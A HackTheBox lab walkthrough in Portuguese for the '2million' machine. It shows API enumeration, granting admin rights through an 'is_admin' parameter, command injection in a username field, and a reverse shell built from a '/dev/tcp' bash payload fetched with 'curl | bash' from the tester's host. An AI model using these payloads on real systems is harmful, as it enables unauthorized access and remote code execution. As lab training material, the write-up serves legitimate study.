> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# Abuso de API no HackTheBox

## Exploração da API HACKTHEBOX

<figure><img src="/files/c2297115bbdf245d229d3c5f7668caa64d252d14" alt=""><figcaption></figcaption></figure>

#### Observação da API

Ao visitar `/api`, observamos as rotas disponíveis

<figure><img src="/files/4704098230749ec2c6ef0e2c83222f71f8205dd7" alt=""><figcaption></figcaption></figure>

#### Tentativa de geração da configuração da VPN (falha inicial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

resposta: não autorizado.

<figure><img src="/files/747f97995adb93c6c0b2078a8ee261f145e14b10" alt=""><figcaption></figcaption></figure>

#### Modificação do nosso papel via a API

<figure><img src="/files/9d9e4857799b4a88433f41751d69f0950bdbecb4" alt=""><figcaption></figcaption></figure>

Testamos a modificação dos parâmetros do usuário com a rota:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Missing parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Missing parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> resposta:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/9fdf79205c38671756919b80bcc4f1c3bd0df57a" alt=""><figcaption></figcaption></figure>

#### Verificação do nosso status de administrador

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/705cb5143563589db0a61743f19c4f29168188c0" alt="" width="563"><figcaption></figcaption></figure>

### RCE via injeção de comando

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/cb6e6dbbfcf4971f49fa9138d3a6e4a748744d1d" alt=""><figcaption></figcaption></figure>

Tentativa de injeção de comando no campo `nome de usuário`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/36bac5af8f19336e3405bb3b440764acf7ad37eb" alt=""><figcaption></figcaption></figure>

#### Shell reverso

1. **arquivos do servidor**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Ouvinte do Netcat**

```bash
nc -nvlp 443

```

3. **Envio do comando**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Obtemos uma shell reversa

<figure><img src="/files/6bba29594bd3c58dc06ea21ad5cc40478c79b812" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/api-attack/abus-api-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
